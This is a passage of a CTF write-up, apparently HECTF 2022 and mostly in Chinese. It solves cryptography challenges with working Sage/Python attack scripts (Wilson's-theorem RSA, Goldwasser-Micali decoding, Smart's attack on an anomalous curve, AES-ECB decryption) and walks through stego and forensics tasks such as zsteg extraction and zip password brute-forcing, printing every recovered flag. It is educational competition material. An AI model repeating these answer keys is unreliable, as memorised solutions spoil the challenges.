11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sympy
import math
p =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672846909
g =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672815766
c1 =6235217214618484469008717065109058585860810027126999050539741461978786126300064219884646722757808536523766850480291000964963856026236813451563022630637528
c2 =11968687437667021636457941077557698735979559596315355015261643918655719362366246657937192921814834456270616376603153881488026042955084056042773344426448580968726245676672896245296438903588066436834165402064132845092674100931069500643230951702318353312541552786636249326131049369846465301549915712690800690627
r = p-g
q = 1
for k in range(2,r):
q = q*inverse_mod(p-k,p)%p
q = sympy.nextprime(q)
n = p*q
e2 = 65537
f = (p-1)*(q-1)
d2 = inverse_mod(e2,f)
m2 = pow(c2,d2,n)
hint = bytes.fromhex(hex(m2)[2:])
print(hint)

# b'Here, e1=2, think about whether you can still use rsa to solve problems'

e1 = 2
P.<x> = PolynomialRing(Zmod(p))
f = x ^ e1 - c1
x = f.monic().roots()[1][0]
flag= bytes.fromhex(hex(x)[2:])
print(flag)

# b'HECTF{Happy_120th_birthday_to_Hebei_Normal_University}'

onebit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import random
from Crypto.Util.number import *
from secret import flag

def Le(n, p):
return pow(n, (p - 1) // 2, p)

def Encrypt(message, n, g):
ciphertext = []
for i, m in enumerate(message):
k = random.randint(1, 2**512)
c = ((g**int(m)) * (k ** 2)) % n
ciphertext.append(c)
return ciphertext

p = getPrime(512)
q = getPrime(512)

while True:
g = getPrime(512)
if Le(g, p) == p-1 and Le(g, q) == q-1:
break

m = bytes_to_long(flag)
m = str(bin(m))[2:]
n = p*q

c = Encrypt(m, n, g)
f = open('output.txt', 'w')
f.write(str(p)+'\n')
f.write(str(g)+'\n')
f.write(str(c))
f.close()

加密结果 $c=g^mk^2$,符合GM同态加密系统,分别判断 $c_i$ 是否为基于模 $p$ 的二次剩余即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes
import gmpy2
p = 10314655380768703978472206709958842273413011533146844672390572314617934317138270085463277616223314361910177207125628813385040318943783776184128231730068517
g = 8263101522955373984025637723346797526375555424855735493538626380254785750558737652925053637878963928060840011944043285344527052241847201267694354571887089
c =

plaintext = ''
for k in c:
cipher = int(k)
if gmpy2.jacobi(cipher,p) == -1:
plaintext += '1'
else:
plaintext += '0'
print(long_to_bytes(int(plaintext,2)))

# b'HECTF{359dbb32-04d5d9c6-7d463ebc-741c7454}'

mixture

1
2
3
4
5
6
7
8
9
10
11
12
13
p=235322474717419
a=0
b=8856682
k=
E = EllipticCurve(GF(p), [a, b])
P = E.random_point()
P.order()==p
Q=k*P
aes_key=k
print("P:",P)
print("Q:",Q)
#P=E(180571547161769,227820272156445)
#Q=E(76765539897460,69715189045993)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import AES
import base64
aes_key = b'???'

def pad(text):
while len(text) % 16 != 0:
text += b' '
return text

def pad_key(key):
while len(key) % 16 != 0:
key += b' '
return key

aes = AES.new(pad_key(aes_key), AES.MODE_ECB)

plain_text = b'???'

enc_text = aes.encrypt(pad(plain_text))
enc_text_b64=base64.b64encode(enc_text)

print(enc_text_b64)
#bXaw/g8fD7taMjlL/OyqUJluD6dZI5GkZb9RrE5GQk8=

ECC+AES。

ECC满足 $P.\text{order}()=p$,利用Smart’s Attack解 $k$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
p = 235322474717419
a = 0
b = 8856682
E = EllipticCurve(GF(p), [a, b])
P = E(180571547161769,227820272156445)
Q = E(76765539897460,69715189045993)

def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break

Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break

p_times_P = p*P_Qp
p_times_Q = p*Q_Qp

x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()

phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)

k = SmartAttack(P, Q, p)
print(k)

# 152675955744921

再代入还原AES解密即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
import base64
aes_key = b'152675955744921'

def pad_key(key):
while len(key) % 16 != 0:
key += b' '
return key

aes = AES.new(pad_key(aes_key), AES.MODE_ECB)

enc_text_b64 = 'bXaw/g8fD7taMjlL/OyqUJluD6dZI5GkZb9RrE5GQk8='
enc_text = base64.b64decode(enc_text_b64)
plain_text = aes.decrypt(enc_text)

print(plain_text)

# b'HECTF{N0w_you_know_ecc_and_AES!}'

xyz

由于素数 $x \in (2^{11},2^{12})$,爆破 $x$ ,再解关于 $y,z$ 的二元一次模方程组,根据式2将 $z$ 代入式1,得到关于 $y$ 的模方程,爆破求解 $m_1,m_2$,直到得到满足flag格式的值即解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Sage
import gmpy2
p = 90269941327372741986138990624471228922188543388582792147052657918058877926048530226733915401487146960603412188605706389044850057749941283247036686933647699313789471852317821572828450212687824860596198164570332523289084374240518841959770316611451490236432102245045517406282462838053843074444594398723921432791
a = 76528144673843458522824450076110371539627923753787397683655100259800630176098551106179842548579216667636910919853615859002981078385969868960955053568271518271225085057932965836858836455161323221071080085783042898199649213810735170960799816250402517689895712143360516054216300443029075429435539217594182165579
b = 29135602763193779141406655503080226411846533327113770010672935904333289317045484412179311504151348405577659318044617676010167479271362994129802985294731037903701693595616818788260673254684442485084195062784616665615921849434909060917998818395292558822723253741815121539892159313890553027457549798418207587319

s = []
for i in range(10000):
if i.bit_length()==12 and gmpy2.is_prime(i):
s.append(i)
print(len(s))

ey = []
for x in s:
print(x)
P.<y> = PolynomialRing(Zmod(p))
z = (b - x^12 - y^12)*inverse_mod(120*x,p)
g = (12 * x + 12 * y + y * z + x * z ** 12) - a
roots = g.monic().roots()
if len(roots)>0:
for k in roots:
ee = x
yy = k[0]
zz = (b - x^12 - yy^12)*inverse_mod(120*x,p)%p
d = inverse_mod(ee, p-1)
m1 = pow(yy, d, p)
m2 = pow(zz, d, p)
if '48454354467b' in hex(m1)[2:]:
print(x)
print(bytes.fromhex(hex(m1)[2:]+hex(m2)[2:]))
break

# 3989
# HECTF{46de31725b9a50b20e27cab2ddd5f5845cdd19066b4f97612}

Misc

咦~小鲨鱼来喽

wireshark打开流量文件,逐个流查看,一眼找到flag。

来玩捉迷藏呀

你能寻找到真正的我吗?

png图片有lsb隐写,zsteg提取出内容: zsteg -E "b1,rgb,lsb,xy" 1010.png > out1.txt

得到16进制字符串转string,再xor 0x33发现zip压缩包头,提取出zip压缩包,解压得到flag.doc,将文字全选设置颜色,发现flag:HECTF{hah0ha_Find-Me!!!}

你把我flag藏哪去了?

flag.docx中打开隐藏文字,得到的base64解码得第一段字符串:

kgkhlfloanaiufpghhalwujklkmownplkmwlygalpmfkgyggihuldlgaoyuloiggrplkvkgmrkaqzxemmiwklhugekleolpaaolffmaghmfgfmgvgjnblpmlajapufjlgplaojpjbffbjbwhuglggyjngmlbfygljbgxkixlmmqiksmpaqyojerafekadxdxxbarxlgngymsimhvuwkaexsglrapggkabmfulgvnmajufoekymalimxdijjpxyiagbpmkuallnlkpoeagfldlposkizvyxraazxrgxanoihqlxfogfgglpgjylkeakbylfvjomllkgjgymgfdlrpeqfklfslmejilpjiklpaapglxyevfkylfappbkdzflffllikqnialkbhjorndhsfomfaypghpqoxryimhfllfhlmkoreamroakgrljahmfailijanykfuaihfbzafaufmsffngfalmrbfflfaffwlnjmfgaaffauazjfijxiabfirmovpzekirbasfjsgzlukolyvohmvaalpkahsxfzammbfnmldzyaauifldvkmzbgfybaoffrflfoaadgmllnbgfpnrgxllyphyfnlexbvdnlokgoyilprflonshalkjaxngbjhlmbpdlamhkjfnlgmaagfjnjgkfrizlfflpmmglapxgmuninaaupkpfdigpsasmvkdjvgiyofdumpngpaljkjblfhahskiokpfgaayhnnfdsxkffqjaazvvdosefppfofigyamfnfngvlaoapdyixvbfdosobmlubaiugjxhfyfkvrakazgluyilpvgfwgynqggplbkwiiaxarlaflaalfkxfjlpegmmajngujlofuiffmvikfimraogqalalfmgubagfggoaakgrfqfhaemosraafyfopukudaalfggimhdfognhkrleflpalgalfapyjalgvoklgfllgaflaafafmazygpehfkzhlazngfmofliazlvnxanalugjlafovljfjubzgapehhfkfnfnggpalylivfegaaidrmyjagfalgmagflrklugadpffuaaky

otherflag.txt中含有零宽字符,利用在线网站提取出第二段字符串:

flpfypbgfeapwpsnlwklawllgryafjslgnbwapdfpzbpauanalfopwfpiabloaallziffklfggufrajpifgjfpakfmxpbsulvjsgmflgalagfnarslkbakuyfggagkfglnalduvqeayjgajmngeglnggxlngfmjmigkkiumlnfdwlkmaugngnvrrbfzxzyauauehofnemfmfffabbgvldlyhoaqjomfplapvhaaakogfirfvamkffygakampauuooolgpnnuelhffhvvisukwynmiglnllumhajekuguuplrxkiaeffllfkayrffggfffgyvpufvpbgagfaekipailovaffanuxsjgvjdqkvfuikflafmdkbbnkpgfxrqpfglavgslujjlffulhugzliumaadngwihmmojfbhxvomafpbfhaviwlguefogppmjsplglfhlgrklbisphajpgnhlispnaskklljggklzaffhnelnfyrymgaghfifojmjjsekoomffffuaawbdgaqrmgzprvgwzjxefhjadkikurllllljoghmlwfflfmlovfplnaqpeozloadkeiolfklivuylzbjooxlsglngduvxanahjgepgu}klghplmvzilkpggpholgiogjavpagjhdonunlpgolndqbqfdmbpjjoxbomlikyuipnxqxzlifforghheuyyazhjuagfwaulrjlfxoiggyjfbfpjigkgyafplfpqwadiqniavvgufjdjlifjiorymvfxmxgorilyldfhofbbygflgairjdidgdqvikjoliyfdzhfrognyyibkgnnvhmjlolfgvwfijlggfkpakpgflfydvfwydofkhgiygwllwljogrqvzjlffgllallblpkfbsflhrajdgowprdblubflyoybhvhwfwoeiagnxbzniffpllxmfknuihfobfeefkkgkynnglkkldugmgsvnphlafgsrnroehvffwapnfjfpglrkpafhlsjgriplrfldglznhonfdlohosfhohegknaiamjflnboplllxluigoxlkrbglrgebaggriaefmzlqidofgafqgbgdilnmhoaionobfynlgozadgvvimxoboaikkfxwirorpflluzhophfdliekljyomejklgffjnunh{opgdafgamla

看字符串无规律,猜测为字符频率统计,找一个在线工具统计字符出现次数,按结果从大到小排序取出对应字符为 flagkpomijnhuybrvdxezswq{},调整括号位置即为flag:flag{kpomijnhuybrvdxezswq}

我的手要不行辣

图片内文字用在线OCR识别转文字,hex转字符,根据文件头转存为zip压缩包,使用ARCHPR爆破出密码8686,解压得到txt内为音符加密,使用在线解密工具解密得到flag:flag{y0u_fi0d_m2_f1ag}

2022HECTF调查问卷

写问卷得flag。